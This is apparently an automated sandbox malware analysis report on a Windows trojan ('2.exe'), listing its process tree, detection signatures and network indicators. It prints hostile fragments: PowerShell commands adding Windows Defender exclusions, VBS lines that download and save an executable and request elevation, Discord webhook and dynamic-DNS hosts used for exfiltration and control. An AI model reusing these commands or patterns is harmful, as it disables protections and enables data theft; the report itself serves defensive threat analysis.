Play interactive tour

Edit tour

Analysis Report 2

Overview

General Information

Sample Name:	2 (renamed file extension from none to exe)
Analysis ID:	352559
MD5:	3f6fcdaa059d9ba461578374c74e5696
SHA1:	fa535b72a9cea09f5869e8ad1b8179f229985fcf
SHA256:	30c0b3f98d0e267293219f3a03347f87da66c208739e569b87b49fc6903128c4
Most interesting Screenshot:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Adds a directory exclusion to Windows Defender

Binary contains a suspicious time stamp

Machine Learning detection for dropped file

Machine Learning detection for sample

May check the online IP address of the machine

Potential malicious VBS script found (has network functionality)

Potential malicious VBS script found (suspicious strings)

Uses dynamic DNS services

Wscript starts Powershell (via cmd or directly)

Contains capabilities to detect virtual machines

Contains functionality to detect virtual machines (STR)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Startup

System is w10x64

2.exe (PID: 4632 cmdline: 'C:\Users\user\Desktop\2.exe' MD5: 3F6FCDAA059D9BA461578374C74E5696)

cmd.exe (PID: 4596 cmdline: C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\Exeptcion.bat'' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

net.exe (PID: 3540 cmdline: net session MD5: 15534275EDAABC58159DD0F8607A71E5)

net1.exe (PID: 4688 cmdline: C:\Windows\system32\net1 session MD5: AF569DE92AB6C1B9C681AF1E799F9983)

powershell.exe (PID: 4548 cmdline: powershell 'Add-MpPreference -ExclusionPath 'C:\GatonFiles'' MD5: 95000560239032BC68B4C2FDFCDEF913)

powershell.exe (PID: 6708 cmdline: powershell 'Add-MpPreference -ExclusionPath 'C:\temp\Files'' MD5: 95000560239032BC68B4C2FDFCDEF913)

powershell.exe (PID: 6464 cmdline: powershell 'Add-MpPreference -ExclusionProcess 'C:\Windows\System32\wscript.exe'' MD5: 95000560239032BC68B4C2FDFCDEF913)

timeout.exe (PID: 6312 cmdline: timeout 1 /nobreak MD5: EB9A65078396FB5D4E3813BB9198CB18)

wscript.exe (PID: 4624 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\DespiertadorRapido.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

cmd.exe (PID: 6736 cmdline: C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\DespiertadorRapido.bat' ' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 7044 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 3668 cmdline: C:\Windows\system32\cmd.exe /c wmic process where 'name='wscript.exe'' get ParentProcessID MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

WMIC.exe (PID: 3020 cmdline: wmic process where 'name='wscript.exe'' get ParentProcessID MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

wscript.exe (PID: 5252 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\DespiertaDespiertador.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

cmd.exe (PID: 5396 cmdline: C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\DespiertaDespiertador.bat' ' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6380 cmdline: C:\Windows\system32\cmd.exe /c wmic process where 'CommandLine like '%C:\\GatonFiles\\Scripts\\Despiertador.bat%' and not CommandLine like '%RuntimeBroker%'' get CommandLine , ProcessId /format:value MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

WMIC.exe (PID: 4828 cmdline: wmic process where 'CommandLine like '%C:\\GatonFiles\\Scripts\\Despiertador.bat%' and not CommandLine like '%RuntimeBroker%'' get CommandLine , ProcessId /format:value MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

wscript.exe (PID: 5848 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\Despiertador.vbs' param1 MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 7040 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\Mortu.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

cmd.exe (PID: 5092 cmdline: C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\Mortu.bat' ' MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 3568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for domain / URL

Show sources

Source: sf3q2wrq34.ddns.net

Virustotal: Detection: 7%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\GatonFiles\Scripts\Link.exe

ReversingLabs: Detection: 20%

Machine Learning detection for dropped file

Show sources

Source: C:\GatonFiles\Scripts\Link.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: 2.exe

Joe Sandbox ML: detected

Compliance:

Uses insecure TLS / SSL version for HTTPS connection

Show sources

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.5:49709 version: TLS 1.0

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: 2.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Networking:

May check the online IP address of the machine

Show sources

Source: unknown	DNS query: name: checkip.amazonaws.com
Source: unknown	DNS query: name: checkip.amazonaws.com
Source: unknown	DNS query: name: myexternalip.com

Potential malicious VBS script found (has network functionality)

Show sources

Source: C:\Users\user\Desktop\2.exe	Dropped file: stream_obj.write http_obj.responseBody			Jump to dropped file
Source: C:\Users\user\Desktop\2.exe	Dropped file: stream_obj.savetofile "C:\GatonFiles\Scripts\Actualizador.exe", 2			Jump to dropped file

Uses dynamic DNS services

Show sources

Source: unknown

DNS query: name: sf3q2wrq34.ddns.net

Source: Joe Sandbox View

IP Address: 162.159.134.233 162.159.134.233

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.5:49709 version: TLS 1.0

Source: unknown

DNS traffic detected: queries for: cdn.discordapp.com

Source: 2.exe, 00000000.00000002.373115366.0000000002DCD000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/CloudflareIncRSACA-2.crt0
Source: 2.exe, 00000000.00000002.373259812.0000000002E40000.00000004.00000001.sdmp	String found in binary or memory: http://cdn.discordapp.com
Source: powershell.exe, 00000006.00000002.268680497.000001AEE930E000.00000004.00000001.sdmp, powershell.exe, 0000000A.00000002.304338643.00000286D2996000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 0000000A.00000002.304960003.00000286D2DDA000.00000004.00000001.sdmp	String found in binary or memory: http://crl.t.com/pki/crl/pr8Y
Source: 2.exe, 00000000.00000002.373115366.0000000002DCD000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/CloudflareIncRSACA-2.crl07
Source: 2.exe, 00000000.00000002.373259812.0000000002E40000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0m
Source: 2.exe, 00000000.00000002.373115366.0000000002DCD000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/CloudflareIncRSACA-2.crl0
Source: 2.exe	String found in binary or memory: http://funado.ddns.net
Source: powershell.exe, 00000006.00000002.265172364.000001AE90063000.00000004.00000001.sdmp, powershell.exe, 0000000A.00000002.301438256.00000286CA674000.00000004.00000001.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: 2.exe, 00000000.00000002.373115366.0000000002DCD000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 2.exe, 00000000.00000002.373259812.0000000002E40000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: powershell.exe, 0000000A.00000002.293378108.00000286BA821000.00000004.00000001.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.259218667.000001AE8020B000.00000004.00000001.sdmp, powershell.exe, 0000000A.00000002.293902807.00000286BA9A4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.258889108.000001AE80001000.00000004.00000001.sdmp, powershell.exe, 0000000A.00000002.293164821.00000286BA611000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.259218667.000001AE8020B000.00000004.00000001.sdmp, powershell.exe, 0000000A.00000002.293902807.00000286BA9A4000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: http://sf3q2wrq34.ddns.net
Source: 2.exe, 00000000.00000002.372096666.0000000000AC2000.00000002.00020000.sdmp	String found in binary or memory: http://sf3q2wrq34.ddns.net-http://funado.ddns.net
Source: powershell.exe, 0000000A.00000002.304960003.00000286D2DDA000.00000004.00000001.sdmp	String found in binary or memory: http://wsoft.com/pki/ceroCerAut_2010-06-
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp	String found in binary or memory: http://wttr.in/?format=%%l
Source: powershell.exe, 0000000A.00000002.293378108.00000286BA821000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 2.exe, 00000000.00000002.373115366.0000000002DCD000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/CPS0v
Source: powershell.exe, 00000013.00000002.356928089.00000291F2BD9000.00000004.00000001.sdmp	String found in binary or memory: http://www.microsoft.coW
Source: 2.exe	String found in binary or memory: https://canary.discord.com/api/webhooks/792793041416880160/RpiuGmOviECw7T0Pav7V6fEoFgTfRRw-bwZQN-DGw
Source: 2.exe, 00000000.00000002.373166891.0000000002DE5000.00000004.00000001.sdmp	String found in binary or memory: https://canary.discord.com/api/webhooks/802216803068936212/7fwdJjFvDRrjBa-qck_h09yCwOOq5ra0sLHE1dkPl
Source: 2.exe, 00000000.00000002.373244152.0000000002E36000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discorPZ
Source: 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/780888037466046486/804309375451398184/b1a0442d05d7960f
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/780888037466046486/809495542051897374/l4
Source: 2.exe, 00000000.00000002.373345276.0000000002E65000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/787394651367669791/807765906540331058/avatar.png
Source: 2.exe, 00000000.00000002.373115366.0000000002DCD000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com/avatars/
Source: 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.discordapp.com8
Source: 2.exe, 00000000.00000002.373115366.0000000002DCD000.00000004.00000001.sdmp	String found in binary or memory: https://checkip.amazonaws.com
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp	String found in binary or memory: https://checkip.amazonaws.com/
Source: powershell.exe, 0000000A.00000002.301438256.00000286CA674000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.301438256.00000286CA674000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.301438256.00000286CA674000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/License
Source: 2.exe, 00000000.00000002.373166891.0000000002DE5000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://discordapp.com/api/v6/channels/
Source: 2.exe, 00000000.00000002.373166891.0000000002DE5000.00000004.00000001.sdmp	String found in binary or memory: https://discordapp.com/api/v6/users/
Source: 2.exe, 00000000.00000002.373166891.0000000002DE5000.00000004.00000001.sdmp	String found in binary or memory: https://discordapp.com/assets/5ccabf62108d5a8074ddd95af2211727.png
Source: powershell.exe, 0000000A.00000002.293378108.00000286BA821000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000003.241982685.000001AE817A7000.00000004.00000001.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000006.00000003.255265761.000001AEE9906000.00000004.00000001.sdmp	String found in binary or memory: https://go.microsoft.coi
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://myexternalip.com/raw
Source: powershell.exe, 00000006.00000002.265172364.000001AE90063000.00000004.00000001.sdmp, powershell.exe, 0000000A.00000002.301438256.00000286CA674000.00000004.00000001.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://proxycheck.io/v2/%EIS%?vpn=1&asn=1
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp	String found in binary or memory: https://proxycheck.io/v2/%IP%?vpn=1&asn=1
Source: 2.exe, 00000000.00000002.373115366.0000000002DCD000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373166891.0000000002DE5000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://set-clima.mrgaton.repl.co
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://set-clima.mrgaton.repl.co/Archibospersonales.html
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://set-clima.mrgaton.repl.co/MesagesenderTIempo.html
Source: 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://set-clima.mrgaton.repl.co/WEB.html
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://set-clima.mrgaton.repl.co/WEB2.html
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://set-clima.mrgaton.repl.co/WIFI:BAT
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://wttr.in/?format=%%c
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://wttr.in/?format=%%h
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://wttr.in/?format=%%m
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://wttr.in/?format=%%t
Source: 2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	String found in binary or memory: https://wttr.in/?format=%%w
Source: 2.exe, 00000000.00000002.373259812.0000000002E40000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709

System Summary:

Potential malicious VBS script found (suspicious strings)

Show sources

Source: C:\Users\user\Desktop\2.exe	Dropped file: objshell.shellExecute "wscript.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1			Jump to dropped file
Source: C:\Users\user\Desktop\2.exe	Dropped file: Set oHttp = CreateObject("WinHttp.WinHttpRequest.5.1")			Jump to dropped file

Wscript starts Powershell (via cmd or directly)

Show sources

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionPath 'C:\GatonFiles''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionPath 'C:\temp\Files''	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionProcess 'C:\Windows\System32\wscript.exe''	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\DespiertadorRapido.bat' '
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\Mortu.bat' '
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\DespiertaDespiertador.bat' '

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFA1D911958	6_2_00007FFA1D911958
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFA1D911930	10_2_00007FFA1D911930
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFA1D9E3285	10_2_00007FFA1D9E3285
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFA1D911998	19_2_00007FFA1D911998
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFA1D9D3285	19_2_00007FFA1D9D3285

Source: Joe Sandbox View

Dropped File: C:\GatonFiles\Scripts\Link.exe 7EA0EFF216A142312F72B0CC7EA6C61F33C63EACF6EBD781E3DFC27D902EFB90

Source: 2.exe, 00000000.00000002.373166891.0000000002DE5000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameJsom LINK.exe& vs 2.exe
Source: 2.exe, 00000000.00000002.372585123.0000000001150000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs 2.exe
Source: 2.exe, 00000000.00000002.372585123.0000000001150000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs 2.exe
Source: 2.exe, 00000000.00000002.372946175.0000000001340000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameWindows.Storage.dll.MUIj% vs 2.exe
Source: 2.exe, 00000000.00000000.221784413.0000000000AE0000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameIP GRAVER.exe: vs 2.exe
Source: 2.exe, 00000000.00000002.374884653.000000001B710000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs 2.exe
Source: 2.exe, 00000000.00000002.372621327.0000000001180000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs 2.exe
Source: 2.exe, 00000000.00000002.372877353.00000000012D0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameSHELL32.DLL.MUIj% vs 2.exe
Source: 2.exe, 00000000.00000002.372235007.0000000000F4C000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 2.exe

Source: C:\Windows\System32\wscript.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc.dll

Source: classification engine

Classification label: mal92.troj.evad.winEXE@49/41@51/1

Source: C:\Users\user\Desktop\2.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4012:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3568:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7044:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5680:120:WilError_01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sa1oh0fz.lbq.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\Exeptcion.bat''

Source: unknown

Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\DespiertadorRapido.vbs'

Source: 2.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\2.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT ParentProcessId FROM Win32_Process WHERE name='wscript.exe'
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine, ProcessId FROM Win32_Process WHERE CommandLine like "%C:\\GatonFiles\\Scripts\\Despiertador.bat%" and not CommandLine like "%RuntimeBroker%"

Source: C:\Users\user\Desktop\2.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\2.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\2.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\2.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: 2.exe	String found in binary or memory: <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
Source: 2.exe	String found in binary or memory: <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
Source: 2.exe	String found in binary or memory: <StopOnIdleEnd>false</StopOnIdleEnd>
Source: 2.exe	String found in binary or memory: <StopOnIdleEnd>false</StopOnIdleEnd>

Source: unknown	Process created: C:\Users\user\Desktop\2.exe 'C:\Users\user\Desktop\2.exe'
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\Exeptcion.bat''
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\net.exe net session
Source: unknown	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 session
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionPath 'C:\GatonFiles''
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionPath 'C:\temp\Files''
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'Add-MpPreference -ExclusionProcess 'C:\Windows\System32\wscript.exe''
Source: unknown	Process created: C:\Windows\System32\timeout.exe timeout 1 /nobreak
Source: unknown	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\DespiertadorRapido.vbs'
Source: unknown	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\Mortu.vbs'
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\DespiertadorRapido.bat' '
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wmic process where 'name='wscript.exe'' get ParentProcessID
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\Mortu.bat' '
Source: unknown	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process where 'name='wscript.exe'' get ParentProcessID
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\DespiertaDespiertador.vbs'
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\DespiertaDespiertador.bat' '
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wmic process where 'CommandLine like '%C:\\GatonFiles\\Scripts\\Despiertador.bat%' and not CommandLine like '%RuntimeBroker%'' get CommandLine , ProcessId /format:value
Source: unknown	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process where 'CommandLine like '%C:\\GatonFiles\\Scripts\\Despiertador.bat%' and not CommandLine like '%RuntimeBroker%'' get CommandLine , ProcessId /format:value
Source: unknown	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\Despiertador.vbs' param1
Source: C:\Users\user\Desktop\2.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\Exeptcion.bat''	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\DespiertadorRapido.vbs'	Jump to behavior
Source: C:\Users\user\Desktop\2.exe	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\Mortu.vbs'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net session	Jump to behavior
